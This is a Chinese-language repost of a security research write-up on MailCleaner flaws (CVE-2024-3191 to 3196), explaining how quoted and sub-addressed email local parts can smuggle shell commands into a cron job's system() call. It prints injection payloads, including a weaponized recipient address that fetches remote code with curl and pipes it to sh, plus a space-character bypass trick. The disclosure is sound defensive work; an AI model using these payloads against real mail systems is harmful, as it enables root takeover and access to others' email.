关于利用电子邮件地址的灵活性进行操作系统命令注入的案例研究

admin 2024年7月2日08:06:23评论2 views字数 5377阅读17分55秒阅读模式
 

作为安全研究的一部分,我们的同事Michael Imfeld和Pascal Zenker检查了商业和开源垃圾邮件过滤设备 MailCleaner,并发现了多个高严重性漏洞(CVE-2024-3191、CVE-2024-3192、CVE-2024-3193、CVE-2024-3194、CVE-2024-3195、CVE-2024-3196)。成功利用该漏洞后,未经身份验证的攻击者可以以 root 用户身份接管该设备,并通过恶意电子邮件获得对其处理的所有电子邮件的完全访问权限。

有关这些漏洞以及 MailCleaner 中所有其他已识别安全漏洞的详细信息,请参阅我们发布的披露报告PDF。这些漏洞已通过协调披露告知 MailCleaner,并由供应商修复。

什么是 MailCleaner?

MailCleaner 是一款电子邮件过滤设备,旨在抵御垃圾邮件、病毒和其他恶意内容。它提供商业版和社区版以满足不同的需求。该产品的部署可以想象为类似于 Web 应用程序的反向代理。域的主要邮件交换记录指向 MailCleaner,它会应用其过滤并将消息转发到实际的邮件服务器。

虽然初步评估时互联网上部署的 MailCleaner 数量约为 4000 个,这并不特别引人注目,但我们发现了几个依赖 MailCleaner 的有趣组织。这些组织包括政府、大学和大型保险公司。因此,MailCleaner 确实可以成为攻击者的一个有吸引力的目标。

“这是一个有效的电子邮件地址吗?!”@modzero.com

电子邮件地址,按照RFC标准定义,由两部分组成:本地部分和域部分,中间用“@”符号隔开。

“@”符号后面是域名部分,用于指定邮箱所在的电子邮件提供商或组织的域。此部分通常包含域名,如modzero.com,可分为子域名,如mail.modzero.com。域名部分通常仅限于字母、数字、连字符和句点,以确保电子邮件地址在各种系统和协议之间兼容。

但对我们这些渗透测试人员来说,最有趣的是位于“@”符号之前的本地部分。因为它标识了要发送电子邮件的域内的邮箱。此部分可以包含各种字符,例如字母(大写和小写)、数字,甚至某些特殊字符。因此,特定的字母表取决于本地部分是否带引号。不带引号的本地部分的字母表可以包含以下任何字符:A-Za-z0-9!#$%&'*+-/=?^_`{|}~

例如,、jane.doe@modzero.com和[email protected]都是[email protected]本地部分的有效表示。

在使用电子邮件地址中引用的本地部分时,如 RFC 标准所指定,其可以包含的字符规则变得更加宽松,允许更广泛的选项。为此,本地部分用引号 (") 括起来,允许包含空格、点和特殊字符,否则这些字符将被不同地解释或根本不允许:"(),:;<>@[]。

例如,未加引号的本地部分可能不允许空格或连续的点,但加引号的本地部分可以包含它们,例如"jane.doe...something"@modzero.com,"jane doe"@modzero.com甚至".(),:;<>[]""@modzero.com。这种加引号的格式有效地告诉电子邮件系统按原样采用括起来的字符序列,而不应用可能将用户名拆分为部分或不允许某些字符的常规解析规则。

值得一提的是,尽管具有这种灵活性,但在日常电子邮件通信中,使用带引号的本地部分相对较少,因为当地址通过键入或口头传达时,会增加复杂性并可能产生误解。此外,并非每个邮件提供商都使用完整的 RFC 兼容字母表来分发其电子邮件地址。这意味着这些邮件服务器在某些情况下会拒绝包含特殊字符的收件人邮件地址,甚至会为它们分配不同的含义。子寻址就是一个这样的例子。

子寻址是一种功能,允许用户使用其他标识符扩展其基本电子邮件地址,从而更好地管理和组织收到的电子邮件。这通常是通过在电子邮件地址的本地部分附加加号(“+”)和标签来实现的。子寻址的目的是创建单个电子邮件地址的变体以供不同用途使用,而无需设置多个电子邮件帐户。例如,如果您的主要电子邮件地址是[email protected],则可以使用子寻址来创建变体,例如[email protected]用于注册新闻通讯或[email protected]在线购物。发送到这些子地址的所有电子邮件都会进入收件箱[email protected],但可以根据加号后的唯一标识符轻松过滤或排序。一些公共邮件提供商支持子寻址,例如 gmail.com 或 outlook.com。重要的是要注意,虽然电子邮件地址的本地部分可以包含加号和其他字符以用于子寻址,但这些地址的解释和处理取决于电子邮件提供商的系统。有些系统可能会忽略加号及其后面的所有内容,而其他系统则完全支持此功能并允许用户利用它来进行电子邮件管理和过滤。

这对攻击者有什么好处?

在软件开发中,用户输入是安全威胁的温床,这似乎是常识。这种理解(部分基于偏见,但也基于许多事件……)根源于许多事件,这些事件中未充分清理的输入导致漏洞和漏洞利用。然而,尽管有这种认识,识别所有形式的用户输入,尤其是那些看似良性的输入,仍然是一个挑战。例如,电子邮件地址通常与人们对用户输入可能包含的内容的预期相悖。许多开发人员和系统认为电子邮件地址很简单,只包含字母数字字符、点和偶尔的破折号或下划线。如上一节所述,这种假设是一种误解,可能会导致被忽视的漏洞。

根据 RFC 标准的定义,电子邮件地址可以包含比通常预期更广泛的字符,包括引号和本地部分中的特殊字符(如果适当加引号)。存储型跨站点脚本 (XSS) 攻击威胁就是一个明显的例子,它说明了如何利用这一点。当应用程序不安全地存储用户输入,然后将未转义的内容显示给其他用户时,就会发生存储型 XSS 攻击。如果系统无法识别引号和其他特殊字符可以成为有效电子邮件地址的一部分,攻击者可以利用这一疏忽,向其电子邮件地址注入恶意脚本。当这些地址显示给用户时,嵌入的脚本可以在其浏览器中执行,从而导致数据窃取、会话劫持或其他恶意后果。

编写具有严格限制的漏洞利用程序

带着这个理论,我们开始寻找 MailCleaner 中的漏洞。我们特别感兴趣的是找到一个暴露于邮件服务 (SMTP) 而不是 Web 界面的漏洞,因为许多公开的实例不允许访问 Web 界面。

MailCleaner 每天午夜运行的清理垃圾邮件隔离 cron 作业中的几个system()调用引起了我们的兴趣。其中一行如下所示:system("rmdir $domain_entry >/dev/null 2>&1");。追溯$domain_entry显示,此变量填充了从 MailCleaner 的垃圾邮件隔离目录中获取的文件路径。此路径看起来很有希望,因此我们继续设置本地 MailCleaner 实例以进一步调查。

为了更清楚地了解此清理程序的内部工作原理,我们将几封包含垃圾邮件测试字符串(类似于病毒的 EICAR)的电子邮件发送到我们的本地 MailCleaner 实例,以确保将其归类为垃圾邮件。令我们惊讶的是,我们发现我们追踪的文件路径实际上包含收件人的电子邮件地址。Bingo!

为了了解攻击的可行性,我们首先开始尝试使用本地邮件收集器作为目标服务器。这样做的好处是,我们可以针对接受任何地址的目标进行测试,因此我们可以专注于 MailCleaner 的行为。它还允许我们利用如上所述的引用本地路径中的完整字符集。

我们的第一次尝试看起来像这样:

";id>mod0;"@mod0.local

在文件系统上:

关于利用电子邮件地址的灵活性进行操作系统命令注入的案例研究

检查文件系统上的文件表明,我们可以将有效的 shell 命令注入文件名中。

在该行代码中插入system()如下内容:

system("rmdir /var/mailcleaner/spam/mod0.local/;id>mod0;@mod0.local >/dev/null 2>&1");

此时,我们知道,我们可以通过发送带有恶意收件人地址和高垃圾邮件评分的电子邮件来促进操作系统命令注入。但有一个问题。MailCleaner 会在接受和分类传入邮件之前验证传出邮件服务器上传入邮件的每个收件人地址。这意味着恶意收件人地址不仅必须被 MailCleaner 本身接受,还必须被目标邮件服务器接受。

那么我们如何才能绕过这个限制呢?在目标上注册邮箱会带来许多新的障碍,但也会大大降低影响。所以这就是子地址可以解决的问题!

我们决定尝试更现实的目标。作为参考,我们使用 Gmail 和 Outlook 作为外发邮件提供商。我们的想法是使用现有地址(例如[email protected])并利用子寻址(例如)附加有效负载jane.doe+<payload>@gmail.com。很快我们就发现这两个目标都不是严格符合 RFC 标准的,因为无法使用引用的电子邮件格式。当现有本地部分被括在引号中时,GMail 返回“未知收件人”,而 Outlook 则响应“拒绝访问”。因此,这意味着我们只能使用一组受限的字符。例如,不能使用分号字符。允许的字符集归结为+&|`${}#*。

然而,最大的挑战是空格字符的限制。证明操作系统命令注入是可能的非常简单。但是如果没有空格,它就无法真正成为获得反向 shell 的武器。与 Bash 相比,Dash 中的运行时环境进一步限制了我们的选择。在概念层面上,必须能够获取空格字符并将其存储在环境变量中,以便在语句中使用它,例如curl${space}modzero.com|sh。${IFS}你可能会想,那类似的东西呢?不幸的是,我们无法利用任何现有的环境变量,因为地址始终转换为小写,从而使现有的环境变量无法访问。

在浏览 Dash 手册页时,我们发现了一个关于“参数扩展”的部分。除其他功能外,还有一些提供子字符串处理的机制。因此,我们的想法是从另一个命令的输出中提取空格字符。

经过一段时间的试验,我们想出了一个看起来很有希望的解决方案。使用将以相反的顺序df|tac返回输出的行。含义的标题将始终位于最底部。然后,此输出存储在名为的环境变量中。在任何系统上,变量始终以此行结尾:dfdfaa

<system dependant>Filesystem     1K-blocks     Used Available Use% Mounted on

现在 Dash 的参数扩展开始发挥作用。表达式${a##*d}告诉 Dash 删除模式匹配之前的所有内容。结果返回字符串“ on”,这正是我们所需要的!我们的 curl 命令现在看起来像这样:curl${a##*d}.modzero.com|sh。所以是时候把所有东西粘在一起了。由于我们不能使用;来构建命令链,所以我们必须使用||和&&。到目前为止,链接起来如下所示:

a=`df|tac`&&curl${a##*d}.modzero.com|sh

对于最终的漏洞利用,必须进行一些进一步的调整。由于 MailCleaner 在处理过程中删除了一个管道字符,因此在有效载荷的开头需要一个额外的管道来将所有内容链接在一起。显然,我们还通过 curl 将获取的内容重定向到 Dash。最终的武器化有效载荷如下所示:

john.doe+|||a=`df|tac`&&curl${a##*d}.modzero.com|cat|sh||@gmail.com

在使用精心设计的收件人地址发送邮件后,我们在 MailCleaner 的垃圾邮件目录中发现了这个看起来非常合法的文件:

关于利用电子邮件地址的灵活性进行操作系统命令注入的案例研究

检查文件系统上的文件发现我们的 RCE 负载已成功创建。

此时,我们只需等待反向 shell 被触发。总之,我们构建了一个完全符合 RFC 的电子邮件地址,没有空格,而且还有一个反向 shell payload!👀

查看完整实用的漏洞利用代码:

我们以非常相似的方式发现了一个由发件人的电子邮件地址触发的存储型 XSS 漏洞。与收件人地址不同,发件人地址不受任何验证。因此,我们可以通过引用本地部分来利用完整的字符集,从而使利用变得轻而易举。将存储型 XSS 与管理 Web 前端中经过身份验证的远程代码执行相结合,会导致类似于上述操作系统命令注入的系统入侵。

结论

显然,处理软件开发中任何类型的输入都是一个难题。认识到用户提供的任何信息都可能存在潜在的安全风险是迈向更安全的应用程序的第一步。开发人员经常面临识别所有不同形式的用户输入的挑战,这可能会使防范威胁变得棘手。此外,对输入(尤其是电子邮件地址)的安全性或直接性的假设可能会导致意想不到的麻烦。仅凭被视为有效电子邮件地址的多样性以及 MailCleaner 中由此产生的安全问题就提醒我们要保持警惕,并始终清理程序中的输入。

致谢

我们要感谢 MailCleaner 在披露过程中的公开透明沟通。MailCleaner 在整个过程中都反应迅速,并在收到我们的报告后迅速发布了修复程序。

Beyond the @ Symbol: Exploiting the Flexibility of Email Addresses For Offensive Purposeshttps://modzero.com/en/blog/beyond_the_at_symbol/

原文始发于微信公众号(Ots安全):关于利用电子邮件地址的灵活性进行操作系统命令注入的案例研究

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月2日08:06:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于利用电子邮件地址的灵活性进行操作系统命令注入的案例研究https://cn-sec.com/archives/2905035.html

发表评论

匿名网友 填写信息